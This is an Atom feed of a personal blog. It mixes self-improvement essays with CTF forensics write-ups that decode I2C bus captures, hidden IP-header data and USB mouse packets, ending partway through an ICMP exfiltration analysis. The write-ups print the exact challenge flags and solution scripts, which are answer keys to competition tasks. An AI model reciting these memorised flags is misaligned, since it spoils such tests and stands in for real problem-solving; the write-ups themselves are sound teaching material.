<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>cristicretan.ro</title><link href="https://cristicretan.ro/" rel="alternate"></link><link href="https://cristicretan.ro/feeds/all.atom.xml" rel="self"></link><id>https://cristicretan.ro/</id><updated>2021-01-12T09:33:00+02:00</updated><entry><title>I need my ego.</title><link href="https://cristicretan.ro/articles/2021/01/12/i-need-my-ego/" rel="alternate"></link><published>2021-01-12T09:33:00+02:00</published><updated>2021-01-12T09:33:00+02:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2021-01-12:/articles/2021/01/12/i-need-my-ego/</id><summary type="html">&lt;p&gt;Yesterday I was playing basketball with a friend. When I was shooting, I noticed that most of the time I always hit the first one, and pretty often I hit 2 or 3 shots in a row. I suck. Statistically, this doesn't make any sense. Out of 10 shots, I'd …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yesterday I was playing basketball with a friend. When I was shooting, I noticed that most of the time I always hit the first one, and pretty often I hit 2 or 3 shots in a row. I suck. Statistically, this doesn't make any sense. Out of 10 shots, I'd probably hit 5 or 6 from which 2 or 3 would be back to back.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The whole point of this story is that you need a fight, you need some sort of fight to succeed. There are a lot of good basketball players out there, but the ones at the top are there because they had something to prove.&lt;/p&gt;
&lt;p&gt;It's never enough; if your value system is based around money or fame like most people there will never be enough of it. I think that life fulfillment is impossible without a little bit of this. Even if you have a house on the beach with a family or you're living a bohemian life, you will end up needing a fight. Sure, some people don't need much competition. They're happy putting political bumper stickers on their Subaru. &lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/gif/drift.gif" /&gt;&lt;/p&gt;
&lt;p&gt;But some guys need to overcome a mountain before they can relax at the beach. My competition growing up was proving I existed. I grew up a regular white boy, basically inexistent. Growing up I just wanted some kind of attention and validation, something to prove that I existed and it's left me with a lot of resentment. I don't know if I constructed my personality and my belief system based on truth, or based on standing out.&lt;/p&gt;
&lt;p&gt;Whenever I was going in for a significant change in my life or when I was preparing for any kind of contest, I would always tell people around me about that. Otherwise, I would have just told myself that "I'll try my best at this" and it would've been some half-ass job, but because I knew people are going to see it, I knew I had to step my game up.&lt;/p&gt;
&lt;p&gt;Watching the Michael Jordan documentary is how he used his ego to become the best. At any point when Chicago needed a desperate win, somehow Jordan always said:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;"I took it personal."&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A writer once dissed him and said he wasn't shit and he took that energy and into the game. He wasn't just playing basketball. He was playing for pride.&lt;/p&gt;
&lt;p&gt;What separates professional athletes from each other? Is it ability? Is it skill? I don't think so. Most of them are built the same, most of them have been playing whatever sport they play for the same amount of time, the same training, but what separates them is their mental capacity, it's how much they believe that they are the best player, how much confidence they have when they are right in front of the net and they need to score. How much they can sustain their talent throughout the entire season.&lt;/p&gt;
&lt;p&gt;A lot of players show glimpses of the same capabilities that the best players have but they can't do it day in and day out. It's champions with mental strength who need to overcome their ego and their pride, who need to prove something because somebody wronged them. Those are the players who are the best players.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.instagram.com/p/B4nXlndnQZR/"&gt;Ronnie O’Sullivan's thoughts&lt;/a&gt;&lt;/p&gt;</content><category term="self-development"></category><category term="self-development"></category></entry><entry><title>My First Line of Code</title><link href="https://cristicretan.ro/articles/2020/10/03/my-first-line-of-code/" rel="alternate"></link><published>2020-10-03T15:20:00+03:00</published><updated>2020-10-03T15:20:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-10-03:/articles/2020/10/03/my-first-line-of-code/</id><summary type="html">&lt;p&gt;Just today I stumbled upon &lt;a href="https://www.youtube.com/watch?v=S5S9LIT-hdc"&gt;this video&lt;/a&gt;. It is about Linus Torvald's first line of code. Thus, of course, I started thinking about my first lines of code and how I was interested in computers ever since I was a little.&lt;/p&gt;
&lt;p&gt;I still remember my first "real" program. I was …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just today I stumbled upon &lt;a href="https://www.youtube.com/watch?v=S5S9LIT-hdc"&gt;this video&lt;/a&gt;. It is about Linus Torvald's first line of code. Thus, of course, I started thinking about my first lines of code and how I was interested in computers ever since I was a little.&lt;/p&gt;
&lt;p&gt;I still remember my first "real" program. I was in the 6th or 7th grade and my sister just started high school, they were already learning the C++ syntax, variables, and how to read from standard input and write on standard output. I remember I was taking her notebooks when she was not using them and reading everything in it. Then I created a program that would read 2 integers from standard input and would output their sum on standard output. I didn't know what I was writing, or why it worked. It just worked.&lt;/p&gt;
&lt;p&gt;I was so excited about what I did, the next day at school I had to tell that to all my colleagues and showed them at the informatics class. At that class, we were just editing Word files and just playing around in Microsoft Office. Even the teacher was impressed with what I showed them. I felt proud of myself.&lt;/p&gt;
&lt;p&gt;Before that, I was playing around with WordPress websites and simple HTML and CSS lines. I and my neighbor were very good friends and we were spending a lot of time together. After discovering WordPress and the magic of HTML and CSS, I proposed to him we could create like an "archive" website with all our favorite cartoons so we could watch them at any time. But we never finished it because we didn't know what will happen if we just put videos that we do not own online, thus we never finished it. But I think it was an awesome initiative.&lt;/p&gt;</content><category term="Untagged"></category><category term="Untagged"></category></entry><entry><title>Why it's so hard to get really good at something</title><link href="https://cristicretan.ro/articles/2020/07/31/why-its-so-hard-to-get-really-good-at-something/" rel="alternate"></link><published>2020-07-31T00:29:00+03:00</published><updated>2020-07-31T00:29:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-07-31:/articles/2020/07/31/why-its-so-hard-to-get-really-good-at-something/</id><summary type="html">&lt;p&gt;Let it be infosec, a sport, playing an instrument, or even a game you'd like to get good at. After doing it for some time, you might ask yourself why you're not as good as the top people doing that specific thing.&lt;/p&gt;
&lt;p&gt;Whatever you want to get good at, if …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Let it be infosec, a sport, playing an instrument, or even a game you'd like to get good at. After doing it for some time, you might ask yourself why you're not as good as the top people doing that specific thing.&lt;/p&gt;
&lt;p&gt;Whatever you want to get good at, if you would ask a professional for some advice to get better, often the first response you will get is to do it more. If you're seeking improvement, you must spend more time doing that specific thing. There is no way around it. It's in the nature of any topic or skill. The saying that you've probably heard sometime in your life is that it takes 10000 hours to master a skill.&lt;/p&gt;
&lt;p&gt;How can it be that some people won't get better at something even after thousands and thousands of hours spent? One reason could be the attention. When learning a skill, you have resources like time, money, knowledge, and energy, but one resource that you have to think about more is your attention.&lt;/p&gt;
&lt;h2&gt;Attention as a resource&lt;/h2&gt;
&lt;p&gt;Cal Newport, in his book "&lt;a href="https://www.amazon.com/Good-They-Cant-Ignore-You/dp/1455509124"&gt;So good, they can't ignore you&lt;/a&gt;", where he explains how you can achieve more, while doing less, just by paying more attention and being more organized. You don't necessarily have to do that thing for 10 hours straight to get better. It's possible to be more effective if you do that thing for 2 hours if you invest all your attention only on that specific thing in that period.&lt;/p&gt;
&lt;p&gt;There is a reason that if you were doing that thing for only 2 hours a day, it would seem hard and unfulfilling. Say you wanted to get better at a game and you would play 100 games and in 60 of those games you win, of course, you still lose 40 of them, but if I ask you right now, everyone will take this deal because you're guaranteed to win 60 games, and by the end of them you will be fulfilled that you made progress. But what if in those 40 games you will experience extreme levels of frustration, and on top of that, if you would be playing two games a day, it will take 50 days to finish them, and somewhere in that time, you will have a losing streak of 8 games, such that in 4 days you only lose games. You can see how this might be tiring because all your mind will be thinking of is that you lost for four days in a row. This might be a contributing factor to why people choose to do something as much as they can in one day because they will hope they will finally get it. It's not good practice, but it feels understandable.&lt;/p&gt;
&lt;p&gt;Your focus and attention are a sophisticated resource that is hard to understand at first, but thinking about it logically starts to come together. Nobody's brain is perfect, and our attention spans limit all of us. It's just human nature. If you had a rough day or your mind was distracted, it's almost impossible to do it at your highest level.&lt;/p&gt;
&lt;h2&gt;The Dunning-Kruger Effect&lt;/h2&gt;
&lt;p&gt;It's tough to learn a new skill, and seeing improvement and getting better is a long and daunting process. It's not necessarily always fun either. One other thing that holds us human back is our &lt;a href="https://en.wikipedia.org/wiki/List_of_cognitive_biases"&gt;cognitive biases&lt;/a&gt; that can get in the way of our progress. Quite a few are relevant in the topic of improvement but none other than the Dunning-Kruger Effect. Most of the people might have heard sometime about the Imposter Syndrome. Well, the Dunning-Kruger Effect is somewhat the reverse of the imposter syndrome. &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In psychology, the Dunning–Kruger effect is a cognitive bias in which people with low ability at a task overestimate their ability. It is related to the cognitive bias of illusory superiority and comes from the inability of people to recognize their lack of skill. Without the self-awareness of metacognition, people cannot objectively evaluate their competence or incompetence. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect"&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For example, in one &lt;a href="https://www.tandfonline.com/doi/full/10.1080/01973533.2019.1689364"&gt;study&lt;/a&gt; 88% of American drivers said their driving is "above average" when mathematically, of course, only less than 15% of people can genuinely be above average at anything. The reason that this happens is not that much about ego and being an arrogant person, as you might think. Usually, people are willing to admit when they make a mistake especially big ones that end up hurting other people, the issue comes that in order to recognize the error, you have to have some level of knowledge in that particular field. This is what Dunning and Kruger described as the "double burden". We don't know how much we don't know.&lt;/p&gt;
&lt;h2&gt;Result-oriented thinking&lt;/h2&gt;
&lt;p&gt;Let's say we are playing a game where I roll a die. It's a 6-sided die, so I turn the die, and you have the options of what outcomes to predict. So instead of picking a number from 1 to 6, I tell you that you have two options. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Option A: I'm going to roll precisely a 6. If I roll precisely a 6, you win.&lt;/li&gt;
&lt;li&gt;Option B: I'm going to roll one of the numbers of 1 to 5. If I turn one of them, you win.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I roll the die, and I get a 6. Most people will look at that and say, "Okay, I made the wrong decision, the outcome was 6, so it was wrong to pick B this time, I should've picked A.".
You see, even if the outcome was not the one in your favor, you still made the right decision with the information you were given. This is result-oriented thinking. If you're always thinking about the outcome, it will probably cloud your judgment and reasoning. Instead, you should focus on the process, not on the result.&lt;/p&gt;</content><category term="self-development"></category><category term="self-development"></category></entry><entry><title>ECSC - i2c &amp; packetz</title><link href="https://cristicretan.ro/articles/2020/05/11/ecsc-i2c-packetz/" rel="alternate"></link><published>2020-05-11T20:41:00+03:00</published><updated>2020-05-11T20:41:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-05-11:/articles/2020/05/11/ecsc-i2c-packetz/</id><summary type="html">&lt;p&gt;Last weekend I participated at the national phase of &lt;a href="https://www.facebook.com/ECSCRO"&gt;ECSC&lt;/a&gt; and I want to showcase some of the challenges that I solved and I find interesting.&lt;/p&gt;
&lt;p&gt;Today we're going to take a look at &lt;code&gt;i2c&lt;/code&gt; in the 
&lt;code&gt;forensics&lt;/code&gt; category. It was a &lt;code&gt;475&lt;/code&gt; points challenge. Unfortunately I can't show you …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last weekend I participated at the national phase of &lt;a href="https://www.facebook.com/ECSCRO"&gt;ECSC&lt;/a&gt; and I want to showcase some of the challenges that I solved and I find interesting.&lt;/p&gt;
&lt;p&gt;Today we're going to take a look at &lt;code&gt;i2c&lt;/code&gt; in the 
&lt;code&gt;forensics&lt;/code&gt; category. It was a &lt;code&gt;475&lt;/code&gt; points challenge. Unfortunately I can't show you the prompt because the challenges were made unavailable after the contest. It said something like 'the flag is in this EEPROM microcontroller.'&lt;/p&gt;
&lt;p&gt;We were given a &lt;code&gt;.dsl&lt;/code&gt; file. We will use &lt;code&gt;DSView&lt;/code&gt; to open it and try to read it in some way. But first let's see what &lt;code&gt;i2c&lt;/code&gt; is.&lt;/p&gt;
&lt;p&gt;Okay, the definition from &lt;a href="https://en.wikipedia.org/wiki/I%C2%B2C"&gt;wikipedia&lt;/a&gt; for &lt;code&gt;i2c&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I2C (Inter-Integrated Circuit) is a synchronous, multi-master, multi-slave, packet switched, single-ended, serial computer bus. It is widely used for attaching lower-speed peripheral ICs to processors and microcontrollers in short-distance, intra-board communication.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, basically we are dealing with a serial communication protocol. Thus, data is transferred bit by bit along a single wire (the SDA line in this case). It is better explained in the &lt;a href="https://www.nxp.com/docs/en/user-guide/UM10204.pdf"&gt;nxp user guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For now, we will use a tool that is interpreting the &lt;code&gt;.dsl&lt;/code&gt; file for us. I used &lt;code&gt;DSView&lt;/code&gt;. So let's see what we get if we open the file in &lt;code&gt;DSView&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/i2c/dsview1.png" /&gt;&lt;/p&gt;
&lt;p&gt;Now we have to click on the &lt;code&gt;+&lt;/code&gt; sign on the right side to specify which is the SDA (serial data) line and which is the SCL (serial clock) line. My guess is that the line number 1 is the clock line, if you're not sure you can always switch. After doing so, you should see something like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/i2c/dsview2.png" /&gt;&lt;/p&gt;
&lt;p&gt;Cool! Now we can see the protocl interpreted correctly. Just as explained &lt;a href="https://www.nxp.com/docs/en/user-guide/UM10204.pdf"&gt;here&lt;/a&gt; at section 3. The I2C-bus protocol.&lt;/p&gt;
&lt;p&gt;We can export this data using the right panel and  clicking on the floppy disk and we can export it as a &lt;code&gt;.csv&lt;/code&gt; file. We get this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/i2c/exported.png" /&gt;&lt;/p&gt;
&lt;p&gt;We see some &lt;code&gt;reads&lt;/code&gt; and some &lt;code&gt;writes&lt;/code&gt;. In my first try, I completely ignored the &lt;code&gt;writes&lt;/code&gt;, because my first thought was that they are irelevant since we are &lt;strong&gt;reading&lt;/strong&gt; the flag from input, that was a mistake. After some looking at those bytes, it was clear that it was trying to spell something out, if you were to print the first 8 bytes it would spell &lt;code&gt;DEADBEEF&lt;/code&gt;. After trying to write a script to carve every read from the file and print it, it will show me a scrambled flag:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/i2c/scrambled.png" /&gt;&lt;/p&gt;
&lt;p&gt;After some thinking, i've figured out that the &lt;code&gt;writes&lt;/code&gt; were actually indexes for the &lt;code&gt;reads&lt;/code&gt;. Then we can write a script to parse this file like so for us:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
import time
import sys

f = open('exported.csv', 'r')
data = f.read()
f.close()

lines = data.split('\n')

flag = bytearray('a'*86)

writes = 'Data write: '
reads = 'Data read: '

ind = 0
for i in range(len(lines)):
    if 'Data write: ' in lines[i]:
        ind = lines[i].split(' ')[-1].strip().lower()
        ind = ord(ind.decode('hex'))
    if 'Data read: ' in lines[i]:
        byte = lines[i].split(' ')[-1]
        byte = byte.decode('hex')
        flag[ind] = byte
    sys.stdout.write(flag + '\r')
    sys.stdout.flush()
    time.sleep(0.012)

print ""
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we will get the flag like so:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/i2c/flag.gif" /&gt;&lt;/p&gt;
&lt;p&gt;FLAG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ECSC{FB95BED62EE60F84EEA36C01E6337457FB44BD22404C139C3B387262C43F23A9}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can take a look at packetz. It was a &lt;code&gt;500&lt;/code&gt; points challenge in the &lt;code&gt;network&lt;/code&gt; category. Not many people solved this challenge, because it was a little bit guessy. Once again I can't show you the prompt. But I think it was something like 'some IP packets are more important than others'.&lt;/p&gt;
&lt;p&gt;We were a given a &lt;code&gt;.pcap&lt;/code&gt; file. After opening it it in wiresharking and taking a brief look at the packets, I decided to run &lt;code&gt;strings&lt;/code&gt; on it, because most of the data in the &lt;code&gt;data&lt;/code&gt; section of the &lt;code&gt;TCP&lt;/code&gt; packets was text. So let's see.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/garbage.png" /&gt;
&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/garbage2.png" /&gt;
&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/garbage3.png" /&gt;&lt;/p&gt;
&lt;p&gt;We see different &lt;code&gt;sha256&lt;/code&gt; hashes, but they are just garbage. Literally, if you try to decrypt them with an online database they literally spell &lt;code&gt;garbage&lt;/code&gt;. There was also a hint given on this challenge that said: &lt;code&gt;Garbage is garbage. Forget it.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The strings in the data related with "Democleitus" and "Cleoxenus" were pointing out to an old cipher, it was called: &lt;a href="https://en.wikipedia.org/wiki/Polybius_square"&gt;Polybius square&lt;/a&gt;. Every &lt;code&gt;sha256&lt;/code&gt; hash, but one were decrypting to &lt;code&gt;garbage&lt;/code&gt;, that was this one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3fa065b389c467810b6c609384b7709d8a28d54ff3ee247708020f9b39c058ec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I played with this and the Polybius square for a little while, but with no luck. Also notice that "Democleitus" and "Cleoxenus" were talking about some key &lt;code&gt;LOCK&lt;/code&gt;. So I tried different varitions of this key with the Polybius cipher but nothing really helped. After some time I gave up this idea and looked again more closely at the prompt:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;some IP packets are more important than others&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, it might have some sense to take a look at the &lt;code&gt;IP header&lt;/code&gt; in the pcap. This is how a standard &lt;code&gt;IP header&lt;/code&gt; would look like.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/first-look-ip.png" /&gt;&lt;/p&gt;
&lt;p&gt;There are not so many things you can change in the &lt;code&gt;IP header&lt;/code&gt; to still be considered valid. Those things are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The checksum field. Notice that in our case the validation of the checksum is disabled. That might be something.&lt;/li&gt;
&lt;li&gt;The Identification field.&lt;/li&gt;
&lt;li&gt;The Service field.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So I took them one by one. Extracted from like the first 4-5 packets and the last 4-5 packets, the mentioned fields. Just to see if &lt;strong&gt;something&lt;/strong&gt; is repeating. Since we know the flag format: &lt;code&gt;ECSC{.*?}&lt;/code&gt;. We get something like this:&lt;/p&gt;
&lt;p&gt;1.Checksum.&lt;/p&gt;
&lt;p&gt;First 4: &lt;code&gt;45 76&lt;/code&gt;, &lt;code&gt;5c e2&lt;/code&gt;, &lt;code&gt;e3 7d&lt;/code&gt;, &lt;code&gt;3a 4e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Last  3: &lt;code&gt;75 ab&lt;/code&gt;, &lt;code&gt;93 73&lt;/code&gt;, &lt;code&gt;25 ee&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;2.Identification.&lt;/p&gt;
&lt;p&gt;First 4: &lt;code&gt;0d 12&lt;/code&gt;, &lt;code&gt;13 3a&lt;/code&gt;, &lt;code&gt;17 62&lt;/code&gt;, &lt;code&gt;32 79&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Last  4: &lt;code&gt;dc a0&lt;/code&gt;, &lt;code&gt;be d3&lt;/code&gt;, &lt;code&gt;2c 24&lt;/code&gt;, &lt;code&gt;1d 50&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;3.Service.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;31 78 73 7a 78 78 73&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;As you might notice, nothing really spells out "hey, i'm the flag get me". This was the &lt;strong&gt;last&lt;/strong&gt; challenge I solved during the competition, 30 minutes before the end. I was feeling that I was getting closer, so at that point I would try everything, because I clearly had no time to start looking at another challenge.&lt;/p&gt;
&lt;p&gt;So I've tried to use the given key &lt;code&gt;LOCK&lt;/code&gt; to xor these bytes around. After xoring I would notice something werid about the &lt;code&gt;service field&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/xoring-first.png" /&gt;&lt;/p&gt;
&lt;p&gt;The last byte it's an &lt;code&gt;}&lt;/code&gt;. Now let's xor some service field bytes from the last packets.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/packetz/xoring-last.png" /&gt;&lt;/p&gt;
&lt;p&gt;Hmm. Now we're talking. We see some 'E' and 'C'. So this might be it. We can try to get every service byte, reverse the sequence and try and xor with the key, in a rolling xor manner. Notice that, we found 'E' when xoring with 'O', and 'C' when xoring with 'L'. Since those are the last bytes then if we reverse it we should xor with 'OLKC' because the key ended earlier. So writing the script in the heat of the moment I just handwritten the key rolled over the flag length.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python


key = 'OLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLK'

encrypted = bytearray('0a0f180034787a277a7b2a72777f28227f2e7b7129787c722a7f7d742e7d727329282d27767c78277c7c7c252c287f702e2f28217d7c72707f2a78762a78737378787a737831'.decode('hex'))

flag = ""
for i in range(len(key)):
    print chr(encrypted[i] ^ ord(key[i])),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this will give us the flag.&lt;/p&gt;
&lt;p&gt;FLAG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ECSC{41d57a183ca0b02f471e367a190fdfd903d307fcd43accb20930f35e48074107}
&lt;/code&gt;&lt;/pre&gt;</content><category term="write-ups"></category><category term="CTF"></category></entry><entry><title>[Part 3] Extracting Leftover Data from USB Packets - ACS-IXIA_CTF - Jerry Paints &amp; Exfiltration</title><link href="https://cristicretan.ro/articles/2020/05/07/part-3-extracting-leftover-data-from-usb-packets-acs-ixia_ctf-jerry-paints-exfiltration/" rel="alternate"></link><published>2020-05-07T15:56:00+03:00</published><updated>2020-05-07T15:56:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-05-07:/articles/2020/05/07/part-3-extracting-leftover-data-from-usb-packets-acs-ixia_ctf-jerry-paints-exfiltration/</id><summary type="html">&lt;p&gt;Today I'm going to explain &lt;code&gt;Jerry Paints&lt;/code&gt; and &lt;code&gt;Exfiltration&lt;/code&gt; from the &lt;code&gt;Forensics&lt;/code&gt; category.&lt;/p&gt;
&lt;p&gt;Let's start with &lt;code&gt;Jerry Paints&lt;/code&gt;. It was a 100 points challenge. Unfortunately I can't show you the prompt again because the challenges were made unavailable.&lt;/p&gt;
&lt;p&gt;We were given &lt;code&gt;5&lt;/code&gt; pcap files. I just downloaded them and straight …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today I'm going to explain &lt;code&gt;Jerry Paints&lt;/code&gt; and &lt;code&gt;Exfiltration&lt;/code&gt; from the &lt;code&gt;Forensics&lt;/code&gt; category.&lt;/p&gt;
&lt;p&gt;Let's start with &lt;code&gt;Jerry Paints&lt;/code&gt;. It was a 100 points challenge. Unfortunately I can't show you the prompt again because the challenges were made unavailable.&lt;/p&gt;
&lt;p&gt;We were given &lt;code&gt;5&lt;/code&gt; pcap files. I just downloaded them and straight up jump into wireshark. Opening the first file &lt;code&gt;1.pcapng&lt;/code&gt; in wireshark, we see it's something about some USB communication.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/first_pcap.png" /&gt;&lt;/p&gt;
&lt;p&gt;The challenge prompt was something about &lt;code&gt;Tom &amp;amp; Jerry&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/thumbnail.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;A mouse and a cat. Talking about USB it might be a pretty good reference to a mouse. So let's check out the &lt;a href="https://www.usb.org/sites/default/files/documents/hid1_11.pdf"&gt;USB Protocol documentation&lt;/a&gt; (page 61). We get a really nice table:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Byte&lt;/th&gt;
&lt;th&gt;Bits&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Button 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Button 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Button 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4 to 7&lt;/td&gt;
&lt;td&gt;Device specific&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0 to 7&lt;/td&gt;
&lt;td&gt;X displacement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;0 to 7&lt;/td&gt;
&lt;td&gt;Y displacement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 to n&lt;/td&gt;
&lt;td&gt;0 to 7&lt;/td&gt;
&lt;td&gt;Device specific&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Also notice:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Devices may append additional data to these boot reports, but the first 8 bytes of keyboard reports and the first 3 bytes of mouse reports must conform to the format defined by the Boot Report descriptor in order for the data to be correctly interpreted by the BIOS. The report may not exceed 8 bytes in length.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Okay, so looking at the leftover data and using the hints about &lt;code&gt;Tom &amp;amp; Jerry&lt;/code&gt; we can deduce that we are facing a &lt;code&gt;Mouse USB Packets.&lt;/code&gt; So let's try to carve out of the pcaps the leftover data. We can use &lt;code&gt;tshark&lt;/code&gt; for that:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tshark -r 1.pcapng -T fields -e usb.capdata&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will give you something like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/tshark.png" /&gt;&lt;/p&gt;
&lt;p&gt;I personally don't like those empty new lines, so let's get rid of them using sed and redirect everything into a file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r 1.pcapng -T fields -e usb.capdata | sed -r '/^\s*$/d' &amp;gt; data1.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To decode this get the &lt;code&gt;X, Y&lt;/code&gt; coordinates out of this leftover data we can write an &lt;code&gt;awk&lt;/code&gt; script.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/awk -f

function comp(v) {
    if (v &amp;gt; 127) {                  # so we could get negative values too
        v -= 256;
    }

    return v
}

BEGIN { FS=":" }                    # delimiter

{
    x += comp(strtonum("0x"$3));    # calculation
    y += comp(strtonum("0x"$4))
}

$1=="01"

{
    print x, y                      # printing the values
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nice. Now let's run it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/coordinates.png" /&gt;&lt;/p&gt;
&lt;p&gt;Now redirect this into a file and let's use &lt;code&gt;gnuplot&lt;/code&gt; and then &lt;code&gt;plot &amp;lt;filename&amp;gt;&lt;/code&gt; inside the gnuplot command line. Doing that we will get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/first.png" /&gt;&lt;/p&gt;
&lt;p&gt;Kind of looks like we're on the right track, doing that for every pcap in order, we get some similar plots. After some fiddling around with it and rotating the plots around, we can deduce something readable.&lt;/p&gt;
&lt;p&gt;FLAG: &lt;code&gt;ACS_IXIA_CTF{U5B$T}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now let's continue with &lt;code&gt;Exfiltration&lt;/code&gt;, around 150 points challenge. Once again we are give a &lt;code&gt;pcap&lt;/code&gt; file. This time a really large one. During the CTF I started looking at this challenge just after a hint was leaked which really helped me solving this. The hint was: &lt;code&gt;Why are there so many ICMP packets?!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let's just go straight up and analyze the &lt;code&gt;ICMP&lt;/code&gt; packets in wirehsark. So filtering after the protocol we get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/icmps.png" /&gt;&lt;/p&gt;
&lt;p&gt;Urgh. This is a lot of stuff. Let's carve out the &lt;code&gt;ICMP&lt;/code&gt; packets into another pcap. You can do that with &lt;code&gt;wireshark filters&lt;/code&gt;. After doing that and opening the new pcap, let's sort after the destination, so just clicking on the destination column. We get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/sorted.png" /&gt;&lt;/p&gt;
